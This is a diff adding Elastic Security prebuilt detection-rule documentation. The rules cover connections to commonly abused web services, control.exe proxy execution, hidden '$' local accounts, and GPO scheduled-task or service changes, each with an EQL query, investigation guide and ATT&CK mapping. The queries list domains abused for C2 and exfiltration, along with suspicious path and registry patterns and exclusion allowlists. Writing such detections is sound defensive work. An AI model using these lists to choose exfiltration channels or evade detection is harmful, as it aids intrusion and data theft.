"?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe" + ) and + not (?process.code_signature.trusted == true and + ?process.code_signature.subject_name : ("Anthropic, PBC", "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Island Technology Inc.", "Opera Norway AS", + "OpenJS Foundation", "Developer ID Application: Node.js Foundation (HX7739G8FX)")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-connection-to-commonly-abused-web-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-connection-to-commonly-abused-web-services.asciidoc new file mode 100644 index 0000000000..d025cc80c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-connection-to-commonly-abused-web-services.asciidoc @@ -0,0 +1,373 @@ +[[prebuilt-rule-8-19-21-connection-to-commonly-abused-web-services]] +=== Connection to Commonly Abused Web Services + +Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry +* https://specterops.io/blog/2026/01/30/weaponizing-whitelists-an-azure-blob-storage-mythic-c2-profile/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne + +*Version*: 130 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Commonly Abused Web Services* + + +Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. + +This rule looks for processes outside known legitimate program locations communicating with a list of services that can be abused for exfiltration or command and control. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Verify whether the digital signature exists in the executable. +- Identify the operation type (upload, download, tunneling, etc.). +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives because it detects communication with legitimate services. Noisy false positives can be added as exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and + dns.question.name != null and process.name != null and + not (?user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") or user.domain == "NT AUTHORITY") and + /* Add new WebSvc domains here */ + dns.question.name : + ( + "raw.githubusercontent.*", + "pastebin.*", + "paste4btc.com", + "paste.ee", + "ghostbin.com", + "drive.google.com", + "?.docs.live.net", + "api.dropboxapi.*", + "content.dropboxapi.*", + "dl.dropboxusercontent.*", + "api.onedrive.com", + "*.onedrive.org", + "onedrive.live.com", + "filebin.net", + "*.ngrok.io", + "ngrok.com", + "*.portmap.*", + "*serveo.net", + "*localtunnel.me", + "*pagekite.me", + "*localxpose.io", + "*notabug.org", + "rawcdn.githack.*", + "paste.nrecom.net", + "zerobin.net", + "controlc.com", + "requestbin.net", + "slack.com", + "api.slack.com", + "slack-redir.net", + "slack-files.com", + "cdn.discordapp.com", + "discordapp.com", + "discord.com", + "apis.azureedge.net", + "cdn.sql.gg", + "?.top4top.io", + "top4top.io", + "www.uplooder.net", + "*.cdnmegafiles.com", + "transfer.sh", + "gofile.io", + "updates.peer2profit.com", + "api.telegram.org", + "t.me", + "meacz.gq", + "rwrd.org", + "*.publicvm.com", + "*.blogspot.com", + "api.mylnikov.org", + "file.io", + "stackoverflow.com", + "*files.1drv.com", + "api.anonfile.com", + "*hosting-profi.de", + "ipbase.com", + "ipfs.io", + "*up.freeo*.space", + "api.mylnikov.org", + "script.google.com", + "script.googleusercontent.com", + "api.notion.com", + "graph.microsoft.com", + "*.sharepoint.com", + "mbasic.facebook.com", + "login.live.com", + "api.gofile.io", + "api.anonfiles.com", + "api.notion.com", + "api.trello.com", + "gist.githubusercontent.com", + "files.pythonhosted.org", + "g.live.com", + "*.zulipchat.com", + "webhook.site", + "run.mocky.io", + "mockbin.org", + "*googleapis.com", + "global.rel.tunnels.api.visualstudio.com", + "*.devtunnels.ms", + "api.github.com", + "*.blob.core.windows.net", + "*.blob.storage.azure.net", + "files.catbox.moe", + "*.supabase.co", + "*.elastic-cloud.com", + "*.cloud.es.io", + "*icp0.io") and + + /* Insert noisy false positives here */ + not ( + ( + process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe", + "?:\\Users\\*\\AppData\\Local\\PowerToys\\PowerToys.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Zen Browser\\zen.exe", + "?:\\Users\\*\\Wavesor Software\\WaveBrowser\\wavebrowser.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\System32\\WWAHost.exe" + ) + ) or + + /* Discord App */ + (process.name : "Discord.exe" and (process.code_signature.subject_name : "Discord Inc." and + process.code_signature.trusted == true) and dns.question.name : ("discord.com", "cdn.discordapp.com", "discordapp.com") + ) or + + /* MS Sharepoint / OneDrive */ + (process.name : ("Microsoft.SharePoint.exe", "OneDrive.Sync.Service.exe") and dns.question.name : "onedrive.live.com" and + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Obsidian - Plugins are stored on raw.githubusercontent.com */ + (process.name : "Obsidian.exe" and (process.code_signature.subject_name : "Dynalist Inc" and + process.code_signature.trusted == true) and dns.question.name : "raw.githubusercontent.com" + ) or + + /* WebExperienceHostApp */ + (process.name : "WebExperienceHostApp.exe" and (process.code_signature.subject_name : "Microsoft Windows" and + process.code_signature.trusted == true) and dns.question.name : ("onedrive.live.com", "skyapi.onedrive.live.com") + ) or + + /* IntelliJ IDEA connecting to raw.githubusercontent.com */ + (process.code_signature.subject_name : "JetBrains s.r.o." and + process.code_signature.trusted == true and dns.question.name : ("api.github.com", "raw.githubusercontent.com") + ) or + + (process.code_signature.subject_name : "Microsoft *" and process.code_signature.trusted == true and + dns.question.name : ("*.sharepoint.com", "graph.microsoft.com", "g.live.com", "login.live.com", + "*.blob.core.windows.net", "*.blob.storage.azure.net") + ) or + + (process.code_signature.subject_name : ("Python Software Foundation", "Anaconda, Inc.") and + process.code_signature.trusted == true and dns.question.name : "files.pythonhosted.org" + ) or + + /* Zoom */ + (process.name : "Zoom.exe" and ( + process.code_signature.subject_name : ("Zoom Video Communications, Inc.", "Zoom Communications, Inc.") and + process.code_signature.trusted == true) and dns.question.name : ("www.googleapis.com", "graph.microsoft.com") + ) or + + /* VSCode */ + (process.name : "Code.exe" and (process.code_signature.subject_name : "Microsoft Corporation" and + process.code_signature.trusted == true) and dns.question.name : ("api.github.com", "raw.githubusercontent.com") + ) or + + /* Terraform */ + (process.name : "terraform-provider*.exe" and (process.code_signature.subject_name : "HashiCorp, Inc." and + process.code_signature.trusted == true) and dns.question.name : "graph.microsoft.com" + ) or + + ( + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Johannes Schindelin", + "Redis Inc.", + "Slack Technologies, LLC", + "Cisco Systems, Inc.", + "Dropbox, Inc", + "Amazon.com Services LLC", + "Island Technology Inc.", + "GitHub, Inc.", + "Red Hat, Inc", + "Mozilla Corporation", + "Spotify AB", + "DeepL SE" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Sub-technique: +** Name: Exfiltration to Text Storage Sites +** ID: T1567.003 +** Reference URL: https://attack.mitre.org/techniques/T1567/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-control-panel-process-with-unusual-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-control-panel-process-with-unusual-arguments.asciidoc new file mode 100644 index 0000000000..8f4bfffa21 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-control-panel-process-with-unusual-arguments.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-control-panel-process-with-unusual-arguments]] +=== Control Panel Process with Unusual Arguments + +Identifies unusual instances of Control Panel with suspicious keywords or paths in the process command line value. Adversaries may abuse control.exe to proxy execution of malicious code. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.joesandbox.com/analysis/476188/1/html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Control Panel Process with Unusual Arguments* + + +The Control Panel in Windows is a system utility that allows users to view and adjust system settings. Adversaries may exploit this by using control.exe to execute malicious code under the guise of legitimate processes. The detection rule identifies anomalies in command-line arguments, such as unexpected file types or suspicious paths, which may indicate an attempt to evade defenses or execute unauthorized actions. + + +*Possible investigation steps* + + +- Review the command line arguments of the control.exe process to identify any unusual file types or suspicious paths, such as image file extensions or paths like */AppData/Local/*. +- Check the parent process of control.exe to determine if it was spawned by a legitimate application or a potentially malicious one. +- Investigate the user account associated with the process to verify if the activity aligns with their typical behavior or if it appears suspicious. +- Examine recent file modifications or creations in directories like \AppData\Local\ or \Users\Public\ to identify any unauthorized or unexpected changes. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context on the potential threat. +- Assess the network activity of the host during the time of the alert to identify any unusual outbound connections that may indicate data exfiltration or command and control communication. + + +*False positive analysis* + + +- Image file paths in command-line arguments may trigger false positives if users or applications are legitimately accessing image files through control.exe. To mitigate this, create exceptions for known applications or user activities that frequently access image files. +- Paths involving AppData or Users\Public directories might be flagged if legitimate software installations or updates use these locations. Review and whitelist specific software processes that are known to use these directories for legitimate purposes. +- Relative path traversal patterns like ../../.. could be used by legitimate scripts or applications for configuration purposes. Identify and exclude these scripts or applications from the detection rule if they are verified as non-malicious. +- Frequent use of control.exe with specific command-line arguments by system administrators or IT personnel for legitimate system management tasks can be excluded by creating user-based exceptions for these roles. +- If certain security tools or monitoring software are known to trigger this rule due to their operational behavior, consider excluding these tools after confirming their legitimacy and necessity. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the suspicious control.exe process to stop any ongoing malicious execution. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and clean up any unauthorized changes or files in the directories specified in the alert, such as AppData/Local or Users/Public, to ensure no persistence mechanisms remain. +- Restore any affected files or system settings from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and alerting for similar command-line anomalies to enhance detection and prevent recurrence of this threat. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "control.exe" and + process.command_line : ( + "*.jpg*", "*.png*", + "*.gif*", "*.bmp*", + "*.jpeg*", "*.TIFF*", + "*.inf*", "*.cpl:*/*", + "*../../..*", + "*/AppData/Local/*", + "*:\\Users\\Public\\*", + "*\\AppData\\Local\\*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-of-a-hidden-local-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-of-a-hidden-local-user-account.asciidoc new file mode 100644 index 0000000000..b6d372fba5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-of-a-hidden-local-user-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-creation-of-a-hidden-local-user-account]] +=== Creation of a Hidden Local User Account + +Identifies the creation of a hidden local user account by appending the dollar sign to the account name. This is sometimes done by attackers to increase access to a system and avoid appearing in the results of accounts listing using the net users command. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329153858/https://blog.menasec.net/2019/02/threat-hunting-6-hiding-in-plain-sights_8.html +* https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/tree/master/2020/2020.12.15.Lazarus_Campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation of a Hidden Local User Account* + + +Attackers can create accounts ending with a `$` symbol to make the account hidden to user enumeration utilities and bypass detections that identify computer accounts by this pattern to apply filters. + +This rule uses registry events to identify the creation of local hidden accounts. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positive (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Delete the hidden account. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\", + "\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\", + "MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc new file mode 100644 index 0000000000..478f8167a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-creation-or-modification-of-a-new-gpo-scheduled-task-or-service]] +=== Creation or Modification of a new GPO Scheduled Task or Service + +Detects the creation or modification of a new Group Policy based scheduled task or service. These methods are used for legitimate system administration, but can also be abused by an attacker with domain admin permissions to execute a malicious payload remotely on all or a subset of the domain joined machines. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation or Modification of a new GPO Scheduled Task or Service* + + +Group Policy Objects (GPOs) are crucial for centralized management in Windows environments, allowing administrators to configure settings across domain-joined machines. Adversaries with domain admin rights can exploit GPOs to create or modify scheduled tasks or services, deploying malicious payloads network-wide. The detection rule identifies such activities by monitoring specific file changes in GPO paths, excluding legitimate system processes, thus highlighting potential abuse for privilege escalation or persistence. + + +*Possible investigation steps* + + +- Review the file path and name to confirm if the changes were made to "ScheduledTasks.xml" or "Services.xml" within the specified GPO paths, as these are indicative of potential unauthorized modifications. +- Check the process that initiated the file change, ensuring it is not "C:\\Windows\\System32\\dfsrs.exe", which is excluded as a legitimate system process. +- Investigate the user account associated with the file modification event to determine if it has domain admin rights and assess if the activity aligns with their typical behavior or role. +- Examine recent changes in the GPO settings to identify any new or altered scheduled tasks or services that could be used for malicious purposes. +- Correlate the event with other security logs or alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to identify any related suspicious activities or patterns. +- Assess the impact by identifying which domain-joined machines are affected by the GPO changes and determine if any unauthorized tasks or services have been executed. + + +*False positive analysis* + + +- Legitimate administrative changes to GPOs can trigger alerts. Regularly review and document scheduled administrative tasks to differentiate between expected and unexpected changes. +- Automated system management tools may modify GPO scheduled tasks or services as part of routine operations. Identify these tools and create exceptions for their processes to reduce noise. +- Updates or patches from Microsoft or other trusted vendors might alter GPO settings. Monitor update schedules and correlate changes with known update activities to verify legitimacy. +- Internal IT scripts or processes that manage GPOs for configuration consistency can cause false positives. Ensure these scripts are well-documented and consider excluding their specific actions from monitoring. +- Temporary changes made by IT staff for troubleshooting or testing purposes can be mistaken for malicious activity. Implement a change management process to log and approve such activities, allowing for easy exclusion from alerts. + + +*Response and remediation* + + +- Immediately isolate affected systems from the network to prevent further spread of any malicious payloads deployed via the modified GPO scheduled tasks or services. +- Revoke domain admin privileges from any accounts that are suspected of being compromised to prevent further unauthorized modifications to GPOs. +- Conduct a thorough review of the modified ScheduledTasks.xml and Services.xml files to identify any unauthorized or malicious entries, and revert them to their previous legitimate state. +- Utilize endpoint detection and response (EDR) tools to scan for and remove any malicious payloads that may have been executed on domain-joined machines as a result of the GPO modifications. +- Notify the security operations center (SOC) and escalate the incident to the incident response team for further investigation and to determine the scope of the compromise. +- Implement additional monitoring on GPO paths and domain admin activities to detect any further unauthorized changes or suspicious behavior. +- Review and strengthen access controls and auditing policies for GPO management to prevent unauthorized modifications in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and event.action != "open" and + file.name : ("ScheduledTasks.xml", "Services.xml") and + file.path : ( + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\Services\\Services.xml" + ) and + not process.executable : "C:\\Windows\\System32\\dfsrs.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc new 